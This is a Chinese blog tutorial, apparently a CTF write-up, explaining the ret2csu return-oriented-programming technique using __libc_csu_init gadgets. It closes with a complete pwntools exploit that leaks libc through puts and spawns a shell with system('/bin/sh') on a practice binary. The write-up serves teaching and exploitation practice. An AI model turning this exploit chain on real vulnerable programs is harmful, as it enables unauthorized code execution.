Ret2csu

ret2csu

__libc_csu_init是 GNU C Library (glibc) 中的一个初始化函数,csu 通常指的是 “C Runtime Startup” 或 “C Startup”。这个函数主要用于 C 程序的启动过程,特别是在涉及到 C++ 构造函数和全局对象的初始化时。

下面的代码片段通常用于ret2csu

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
   0x401270 <__libc_csu_init+64>:       mov    rdx,r14
   0x401273 <__libc_csu_init+67>:       mov    rsi,r13
   0x401276 <__libc_csu_init+70>:       mov    edi,r12d
   0x401279 <__libc_csu_init+73>:       call   QWORD PTR [r15+rbx*8]
   0x40127d <__libc_csu_init+77>:       add    rbx,0x1
   0x401281 <__libc_csu_init+81>:       cmp    rbp,rbx
   0x401284 <__libc_csu_init+84>:       jne    0x401270 <__libc_csu_init+64>
   0x401286 <__libc_csu_init+86>:       add    rsp,0x8
   0x40128a <__libc_csu_init+90>:       pop    rbx
   0x40128b <__libc_csu_init+91>:       pop    rbp
   0x40128c <__libc_csu_init+92>:       pop    r12
   0x40128e <__libc_csu_init+94>:       pop    r13
   0x401290 <__libc_csu_init+96>:       pop    r14
   0x401292 <__libc_csu_init+98>:       pop    r15
   0x401294 <__libc_csu_init+100>:      ret

利用上面的gadget有下面的控制关系

  • rbp = rbx + 1 防止跳到<__libc_csu_init+64>,顺利执行到ret

  • r15 => func 若rbx为0,控制了r15就能指向指定内存区域

  • r12 => rdi 通过r12控制rdi,解决x64下第一个参数的传递问题

  • r13 => rsi 通过r13控制rsi,解决x64下第二个参数的传递问题

  • r14 => rdx 通过r14控制rdx,解决x64下第三个参数的传递问题

上面的寄存器都能控制的话就可以非常随意得调用三个及三个以下参数的函数

值得注意的是下面就有对各种寄存器的pop,只需要使用这些gadget在栈上构造payload

思路

首先布栈,调用pop

1
2
3
4
5
6
7
   0x40128a <__libc_csu_init+90>:       pop    rbx
   0x40128b <__libc_csu_init+91>:       pop    rbp
   0x40128c <__libc_csu_init+92>:       pop    r12
   0x40128e <__libc_csu_init+94>:       pop    r13
   0x401290 <__libc_csu_init+96>:       pop    r14
   0x401292 <__libc_csu_init+98>:       pop    r15
   0x401294 <__libc_csu_init+100>:      ret

ret直接跳转到0x401270 <__libc_csu_init+64>,给传参的寄存器传值

1
2
3
   0x401270 <__libc_csu_init+64>:       mov    rdx,r14
   0x401273 <__libc_csu_init+67>:       mov    rsi,r13
   0x401276 <__libc_csu_init+70>:       mov    edi,r12d

调用函数

1
   0x401279 <__libc_csu_init+73>:       call   QWORD PTR [r15+rbx*8]

注意要让rbp = rbx + 1防止二次调用

1
2
   0x401281 <__libc_csu_init+81>:       cmp    rbp,rbx
   0x401284 <__libc_csu_init+84>:       jne    0x401270 <__libc_csu_init+64>

布栈数据

  • 0x40128a处获得pop指令,下面按顺序把值传入寄存器,这里是为了给函数传参
  • 0x401270处是ret的返回地址,这里控制rip到0x401270执行函数传参函数调用
  • 调用完函数会根据rbp和rbx的值决定是否往上跳转,这里一定要有上面的等式关系不往上跳转
  • add rsp,0x8给rsp加了8个字节,正好是一个地址的长度,这块地址随便填,也就是上面的0xdeadbeef
  • 后面又pop各种寄存器,此时传什么参数不关心,因为已经调过函数了,只要有东西传即可
  • 上面执行完就走完了函数__libc_csu_init,返回地址就是下一个函数的地址,一般用exit退出程序

不同版本的libc的__libc_csu_init反汇编出来的代码会有差异,具体要根据实际的汇编代码布栈

不同利用方式的比较

溢出函数 => __libc_csu_init => 溢出函数 => system

  • 优点:溢出函数的payload比__libc_csu_init的,适用于溢出空间较小的情况
  • 缺点:溢出函数需要额外gadget给寄存器传参

溢出函数 => __libc_csu_init => __libc_csu_init => system

  • 优点:__libc_csu_init有良好的传参环境,不需要额外的gadget
  • 缺点:__libc_csu_init构造的payload比溢出函数的,适用于溢出空间较大的情况

第一个 payload 都是泄露 libc 的基地址

例题

ret2csu_x64_csu

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

io = process('./ret2csu_x64_csu')
elf = ELF('./ret2csu_x64_csu')
libc = elf.libc
gdb.attach(io, 'b *main')

padding = 0x118 - 0xf0
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x40128A
mov_call = 0x401270
return_addr = 0x401176  # main
pop_rdi = 0x401293

def ret2csu(rdi,rsi,rdx,fun_addr,return_addr):
    return flat(pop_rbx_rbp_r12_r13_r14_r15_ret,
    0,1,rdi,rsi,rdx,fun_addr,
    mov_call,
    0,0,0,0,0,0,0,
    return_addr
    )
    
    
puts_addr = elf.got['puts']
success(f"puts_addr:{hex(puts_addr)}")
read_got = elf.got['read']

# puts泄露函数地址 这里其实可以直接rop,为了演示用csu
payload = padding * b'a'
payload += ret2csu(read_got,0,0,puts_addr,return_addr)
io.sendafter(b"Pls Input\n", payload)
read_addr = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00'))
success(hex(read_addr))

# 计算libc基地址
libc_base = read_addr - libc.sym['read']
system_addr = libc_base + libc.sym['system']
success(hex(system_addr))
bin_sh_addr = next(libc.search(b'/bin/sh')) + libc_base
success(hex(bin_sh_addr))

# system("/bin/sh") -> getshell
payload = padding * b'a'
payload += flat(pop_rdi, bin_sh_addr, 0x40101a, system_addr)  # 0x40101a -> ret
io.sendafter(b"Pls Input\n", payload)

io.interactive()
使用 Hugo 构建
主题 StackJimmy 设计